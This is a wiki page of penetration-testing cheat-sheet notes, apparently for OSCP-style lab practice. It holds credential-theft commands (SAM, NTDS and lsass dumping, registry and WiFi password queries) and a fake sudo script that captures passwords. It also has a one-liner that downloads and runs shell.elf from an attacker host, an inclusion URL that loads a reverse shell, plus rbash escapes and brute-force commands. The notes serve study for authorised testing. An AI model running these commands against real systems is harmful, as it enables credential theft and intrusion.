=== Datelist - Generate date wordlist ===&lt;br /&gt;
&lt;br /&gt;
[https://raw.githubusercontent.com/screetsec/BruteSploit/master/tools/datelist Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate date list with yyyy-mm-dd format&lt;br /&gt;
./datelist.sh -b 2020-01-01 -e 2020-12-31 -f yyyymmdd -o wordlist -s -&lt;br /&gt;
-b = beginning date&lt;br /&gt;
-e = end date&lt;br /&gt;
-f = format&lt;br /&gt;
-o = output&lt;br /&gt;
-s = spacing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Seclists ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/danielmiessler/SecLists/ https://github.com/danielmiessler/SecLists/]&lt;br /&gt;
&lt;br /&gt;
=== Python script ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import itertools&lt;br /&gt;
words = [&amp;quot;firmanavn&amp;quot;, &amp;quot;sommer&amp;quot;, &amp;quot;prod&amp;quot;,&lt;br /&gt;
&amp;quot;dev&amp;quot;, &amp;quot;database&amp;quot;, &amp;quot;app&amp;quot;, &amp;quot;server&amp;quot;,&lt;br /&gt;
&amp;quot;test&amp;quot;, &amp;quot;oracle&amp;quot;, &amp;quot;doc&amp;quot;, &amp;quot;admin&amp;quot;, &amp;quot;db&amp;quot;,&lt;br /&gt;
&amp;quot;password&amp;quot;, &amp;quot;administrator&amp;quot;, &amp;quot;tech&amp;quot;]&lt;br /&gt;
combo = itertools.combinations(words, 2)&lt;br /&gt;
combo = list(combo)&lt;br /&gt;
&lt;br /&gt;
with open(&amp;quot;/home/kali/wordlist.txt&amp;quot;, &amp;quot;w+&amp;quot;) as wordlist:&lt;br /&gt;
    for i in combo:&lt;br /&gt;
        wordlist.write(i[0] + &amp;quot;.&amp;quot; + i[1])&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
        wordlist.write(i[0].capitalize() + &amp;quot;.&amp;quot; + i[1].capitalize())&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    for i in range(0,2023):&lt;br /&gt;
        for v in words:&lt;br /&gt;
            word = v + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Linux Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Add SUID (setuid) bit to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
chmod 4755 /tmp/sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Add user to sudoers file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Add User to sudoers file&lt;br /&gt;
echo username ALL=(ALL) ALL &amp;gt;&amp;gt; sudoers&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BruteForce using su when having a shell - Password Spray ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/carlospolop/su-bruteforce&lt;br /&gt;
./su.sh  -u ray -w xato-net-10-million-passwords-10000.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cat, cut delimeter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Cat a file and cut delimiter space in field 3&lt;br /&gt;
cat $log | cut -d&#039; &#039; -f3-&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy output to clipboard ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat file | xclip -selection clipboard&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enable cursor in Terminal Kali ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
tput cnorm&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Output tty to shell or redirect to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From eavsdropper room in THM&lt;br /&gt;
# If a user types in his password and you have a shell you can redirect output to your shell.&lt;br /&gt;
cat sudo&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
read password&lt;br /&gt;
echo $password &amp;gt; /dev/pty/0 # Choose the correct pty.&lt;br /&gt;
# Now export PATH så when the user runs the command it will execute your sudo script instead of real sudo.&lt;br /&gt;
# Run&lt;br /&gt;
export $PATH=/tmp:$PATH&lt;br /&gt;
# Now wait for the user to type his password and it will pop up in your shell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kill/close open port on linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
fuser -k PORT/tcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reset kali to default settings ===&lt;br /&gt;
&lt;br /&gt;
BE CAREFUL AS THIS MIGHT BREAK SOME PACKAGES. Always take snapshot before running the commands below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you&#039;re having problems with kali acting up, you can reset kali to default.&lt;br /&gt;
# To reset Kali Linux to the default package and kernel, you will need to run the following commands:&lt;br /&gt;
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade&lt;br /&gt;
sudo apt-get dist-upgrade&lt;br /&gt;
sudo apt-get autoremove&lt;br /&gt;
sudo apt-get autoclean&lt;br /&gt;
sudo update-grub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restricted shell (rbash) - Linux Restricted Shell Bypass ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://vk9-sec.com/linux-restricted-shell-bypass/&lt;br /&gt;
# List of escape methods&lt;br /&gt;
https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/&lt;br /&gt;
# If in rshell (Restricted shell), use this command to list all available commands&lt;br /&gt;
compgen -c&lt;br /&gt;
# Rbash escape ssh&lt;br /&gt;
ssh alfred@10.11.1.101 -t &#039;bash&#039; --noprofile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Read .db files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For DB files, like users.db. Read content with sqlitebrowser&lt;br /&gt;
sqlitebrowser users.db&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Read Windows registry files on Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start hivexsh, and load a hive.&lt;br /&gt;
# https://linux.die.net/man/1/hivexsh&lt;br /&gt;
hivexsh&lt;br /&gt;
&amp;gt; load SECURITY&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ss instead of netstat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ss -tlpn&lt;br /&gt;
-t display tcp socket&lt;br /&gt;
-l display listening socket&lt;br /&gt;
-p show process using packets&lt;br /&gt;
-n dont resolve service name&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Desktop Environment if its broken ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.kali.org/docs/general-use/xfce-faq/&lt;br /&gt;
If you are having issues, it may be that a config file is not set properly. First, backup .cache, .config, and .local. Next, running rm -r .cache .config .local and then rebooting will likely fix those issues.&lt;br /&gt;
REMEMBER TO DELETE IT FROM THE HOME USER and not root.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Kali Login loop ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On the login screen type&lt;br /&gt;
CTRL + ALT + F1&lt;br /&gt;
# then type this command from the home/kali dir.&lt;br /&gt;
sudo mv ~/.Xauthority ~/.Xauthority.backup sudo chmod 700 ~ sudo chown -R kali:kali ~ sudo service lightdm restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Windows Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Stealing SAM and SYSTEM ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/stealing-credentials https://book.hacktricks.xyz/windows-hardening/stealing-credentials]&lt;br /&gt;
&lt;br /&gt;
This files should be &#039;&#039;&#039;located&#039;&#039;&#039; in &#039;&#039;C:\windows\system32\config\SAM&#039;&#039; and &#039;&#039;C:\windows\system32\config\SYSTEM.&#039;&#039; But &#039;&#039;&#039;you cannot just copy them in a regular way&#039;&#039;&#039; because they protected.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\config\SAM&lt;br /&gt;
C:\windows\system32\config\SYSTEM&lt;br /&gt;
C:\windows\system32\config\regback\system.old&lt;br /&gt;
C:\windows\system32\config\regback\system&lt;br /&gt;
C:\windows\system32\config\regback\sam.old&lt;br /&gt;
C:\windows\system32\config\regback\sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== From Registry ====&lt;br /&gt;
&lt;br /&gt;
The easiest way to steal those files is to get a copy from the registry:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save HKLM\sam sam&lt;br /&gt;
reg save HKLM\system system&lt;br /&gt;
reg save HKLM\security security&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Download&#039;&#039;&#039; those files to your Kali machine and &#039;&#039;&#039;extract the hashes&#039;&#039;&#039; using:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
samdump2 SYSTEM SAM&lt;br /&gt;
impacket-secretsdump -sam sam -security security -system system LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Check if shell is 64-bit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Environment]::Is64BitOperatingSystem&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decompile .NET exe file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use dotpeek or dnSPY&lt;br /&gt;
https://www.jetbrains.com/decompiler/&lt;br /&gt;
https://github.com/dnSpy/dnSpy&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump hashes from NTDS.dit using secretdump.py ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Location C:\Windows\ or C:\Windows\System32\&lt;br /&gt;
/usr/bin/impacket-secretsdump LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping Domain password hasehs ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#diskshadow&lt;br /&gt;
https://pentestlab.blog/tag/diskshadow/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump creds frol lsass.dmp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/skelsec/pypykatz&lt;br /&gt;
# See writeup for HTB Blackfield&lt;br /&gt;
pypykatz lsa minidump lsass.DMP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find writeable directories ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writable directories&lt;br /&gt;
dir /a-r-d /s /b&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find .NET version using regkey ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query &amp;quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Executing MSI on Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msiexec /quiet /i cmd.msi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump Windows Sam File ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save hklm\sam c:\sam&lt;br /&gt;
reg save hklm\system c:\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Run a dll using rundll32.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rundll32 C:\Tools\TestDll.dll,run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query HKLM /f password /t REG_SZ /s&lt;br /&gt;
reg query HKCU /f password /t REG_SZ /s&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump autologon passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg.exe query &amp;quot;HKLM\software\microsoft\windows nt\currentversion\winlogon&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== See WiFi password in cleartext ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
netsh wlan show profile&lt;br /&gt;
netsh wlan show profile Profile01 key=clear&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enviroment variable Location ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| %ALLUSERSPROFILE%&lt;br /&gt;
|  C:\Documents and Settings\All Users&lt;br /&gt;
|-&lt;br /&gt;
| %APPDATA%&lt;br /&gt;
| C:\Documents and Settings\Username\Application Data&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES%&lt;br /&gt;
|  C:\Program Files\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES(x86)%&lt;br /&gt;
| C:\Program Files (x86)\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMSPEC%&lt;br /&gt;
| C:\Windows\System32\cmd.exe&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEDRIVE%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEPATH%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES%&lt;br /&gt;
| C:\Program Files&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES(X86)%&lt;br /&gt;
| C:\Program Files (x86) (only in 64-bit version)&lt;br /&gt;
|-&lt;br /&gt;
| %SystemDrive%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %SystemRoot%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|-&lt;br /&gt;
| %TEMP% and %TMP%&lt;br /&gt;
| C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
|-&lt;br /&gt;
| %USERPROFILE%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %WINDIR%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== List all PowerShell Accelators ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[psobject].assembly.gettype(&amp;quot;System.Management.Automation.TypeAccelerators&amp;quot;)::Get&lt;br /&gt;
Key                          Value&lt;br /&gt;
---                          -----&lt;br /&gt;
Alias                        System.Management.Automation.AliasAttribute&lt;br /&gt;
AllowEmptyCollection         System.Management.Automation.AllowEmptyCollectionAttribute&lt;br /&gt;
AllowEmptyString             System.Management.Automation.AllowEmptyStringAttribute&lt;br /&gt;
AllowNull                    System.Management.Automation.AllowNullAttribute&lt;br /&gt;
ArgumentCompleter            System.Management.Automation.ArgumentCompleterAttribute&lt;br /&gt;
array                        System.Array&lt;br /&gt;
bool                         System.Boolean&lt;br /&gt;
byte                         System.Byte&lt;br /&gt;
char                         System.Char&lt;br /&gt;
....&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PROOFS ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &amp;quot; &amp;quot;;echo &amp;quot;uname -a:&amp;quot;;uname -a;echo &amp;quot; &amp;quot;;echo &amp;quot;hostname:&amp;quot;;hostname;echo &amp;quot; &amp;quot;;echo &amp;quot;id&amp;quot;;id;echo &amp;quot; &amp;quot;;echo &amp;quot;ifconfig:&amp;quot;;/sbin/ifconfig -a;echo &amp;quot; &amp;quot;;echo &amp;quot;proof:&amp;quot;;cat /root/proof.txt 2&amp;gt;/dev/null; cat /Desktop/proof.txt 2&amp;gt;/dev/null;echo &amp;quot; &amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo. &amp;amp; echo. &amp;amp; echo whoami: &amp;amp; whoami 2&amp;gt; nul &amp;amp; echo %username% 2&amp;gt; nul &amp;amp; echo. &amp;amp; echo Hostname: &amp;amp; hostname &amp;amp; echo. &amp;amp; ipconfig /all &amp;amp; echo. &amp;amp; echo proof.txt: &amp;amp;  type &amp;quot;C:\Documents and Settings\Administrator\Desktop\proof.txt&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HELP! I&#039;m stuck - What to do when stuck ==&lt;br /&gt;
&lt;br /&gt;
The list below is taken from [https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck blakejarvis&#039; notes.]&lt;br /&gt;
&lt;br /&gt;
=== Initial access ===&lt;br /&gt;
&lt;br /&gt;
==== Web discovery ====&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;lt;code&amp;gt;http://site/[hostname]&amp;lt;/code&amp;gt; if you can&#039;t find a directory or software you think should exist.&lt;br /&gt;
&lt;br /&gt;
* Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.&lt;br /&gt;
&lt;br /&gt;
* Fuzz parameters with ffuf.&lt;br /&gt;
&lt;br /&gt;
* Examine response headers for minor custom errors.&lt;br /&gt;
&lt;br /&gt;
==== Getting a shell ====&lt;br /&gt;
&lt;br /&gt;
* To save time, upload a web shell instead of manually executing PHP commands.&lt;br /&gt;
&lt;br /&gt;
* Some PHP local file inclusion vulnerabilities can reference remote resources with &amp;lt;code&amp;gt;?path=http://[kali ip]/rev-shell.php&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.&lt;br /&gt;
&lt;br /&gt;
* Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: &amp;lt;code&amp;gt;wget -P /tmp http://kali/shell.elf &amp;amp;&amp;amp; chmod +x /tmp/shell.elf &amp;amp;&amp;amp; /tmp/shell.elf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* If a CMS has an RCE, look closely at what/where it&#039;s implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.&lt;br /&gt;
&lt;br /&gt;
* When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.&lt;br /&gt;
&lt;br /&gt;
* Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add &amp;lt;code&amp;gt;exit(0)&amp;lt;/code&amp;gt; in the python script after the account is created and use the credentials for another exploit.&lt;br /&gt;
&lt;br /&gt;
* Use the same ports the box has open for shell callbacks.&lt;br /&gt;
&lt;br /&gt;
* Try at least 4 ports and ping when trying to get a callback.&lt;br /&gt;
&lt;br /&gt;
* If you can control data being read to the server, always consider serialization.&lt;br /&gt;
&lt;br /&gt;
* Always test payloads locally, especially if it&#039;s blind.&lt;br /&gt;
&lt;br /&gt;
* Consider where can you write data to that&#039;s then read back in to the server.&lt;br /&gt;
&lt;br /&gt;
==== General ====&lt;br /&gt;
&lt;br /&gt;
* Don&#039;t spin wheels on other routes if something has a known exploit to root and it&#039;s a 10 pointer.&lt;br /&gt;
&lt;br /&gt;
* Check version numbers to ensure something isn&#039;t a false flag.&lt;br /&gt;
&lt;br /&gt;
* Consider similar protocols. If you get an SSH key, try using it over SCP.&lt;br /&gt;
&lt;br /&gt;
* Type version numbers carefully!&lt;br /&gt;
&lt;br /&gt;
* For hydra always do -e nsr. Example: &amp;lt;code&amp;gt;hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for &amp;lt;code&amp;gt;auth-owners&amp;lt;/code&amp;gt; in nmap to get usernames.&lt;br /&gt;
&lt;br /&gt;
* FTP - always be in a directory on kali that&#039;s writable to download files.&lt;br /&gt;
&lt;br /&gt;
* FTP brute force &amp;quot;admin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Search Metasploit modules for ideas [https://github.com/rapid7/metasploit-framework https://github.com/rapid7/metasploit-framework].&lt;br /&gt;
&lt;br /&gt;
* Search a software&#039;s Github page for version files that would give specific information.&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Dibble for node.js RCE.&lt;br /&gt;
&lt;br /&gt;
* Review page source code for commented out areas for every page.&lt;br /&gt;
&lt;br /&gt;
* Guess parameters. If there&#039;s a POST forgot_pass.php with an email param, try &amp;lt;code&amp;gt;GET /forgot_pass.php?email=%0aid.&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Parameter/command injection fuzzing:&lt;br /&gt;
Payload list: [https://github.com/payloadbox/command-injection-payload-list github.com/payloadbox/command-injection-payload-list]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Hetemit for an example&lt;br /&gt;
&lt;br /&gt;
* When brute forcing credentials, guess the software name as the username and password.&lt;br /&gt;
&lt;br /&gt;
* When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.&lt;br /&gt;
&lt;br /&gt;
=== Windows Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Explore the C:\ drive root. Some scheduled tasks can&#039;t be seen as a low level user could be located at C:\.&lt;br /&gt;
&lt;br /&gt;
* Always test a reverse shell on a windows box when attempting to get a shell.&lt;br /&gt;
&lt;br /&gt;
* Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn&#039;t work, execute a command to change the Administrator password and used smbexec to auth.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force authentication via RDP&lt;br /&gt;
&lt;br /&gt;
* Always view &amp;quot;C:\program files&amp;quot; and &amp;quot;C:\program files (x86)&amp;quot; for installed apps.&lt;br /&gt;
&lt;br /&gt;
=== Linux Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Privesc scripts aren&#039;t always right:&lt;br /&gt;
e.g. a decoy exist item in crontab when &amp;lt;code&amp;gt;sudo -l&amp;lt;/code&amp;gt; reveals a process dumper used to get credentials from memory.&lt;br /&gt;
&lt;br /&gt;
* If a process dumper is available, don&#039;t Google too deep. See if there are custom &amp;quot;password&amp;quot; processes to target.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;su root&amp;lt;/code&amp;gt; is the best way to switch to root if you have a password but aren&#039;t in root group.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force auth ssh if &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; is pulled.&lt;br /&gt;
&lt;br /&gt;
* Always run &amp;lt;code&amp;gt;echo $PATH&amp;lt;/code&amp;gt; to show available commands/locations.&lt;br /&gt;
&lt;br /&gt;
* Docker - see Proving Grounds&#039; Sirol/Escape box.&lt;br /&gt;
&lt;br /&gt;
* If a user is in a group, it&#039;s probably for a reason.&lt;br /&gt;
&lt;br /&gt;
* Fully understand software that&#039;s related to a user&#039;s group (e.g. fail2ban group).&lt;br /&gt;
&lt;br /&gt;
* Use [https://github.com/DominicBreuker/pspy pspy] to spy on processes and cronjobs you may not be able to see&lt;br /&gt;
&lt;br /&gt;
* Run &amp;lt;code&amp;gt;groups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;cat ~/.profile &amp;amp;&amp;amp; cat ~/.bashrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* If running as www-data, always inspect the contents of html or the application, look for commented out passwords.&lt;br /&gt;
&lt;br /&gt;
* If another user exist, always &amp;lt;code&amp;gt;su [user]&amp;lt;/code&amp;gt; with no password and their name as the password.&lt;br /&gt;
&lt;br /&gt;
* Check &amp;lt;code&amp;gt;/var/backups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Custom SUIDs won&#039;t be highlighted as linpeas and other privesc scripts don&#039;t know what they are.&lt;br /&gt;
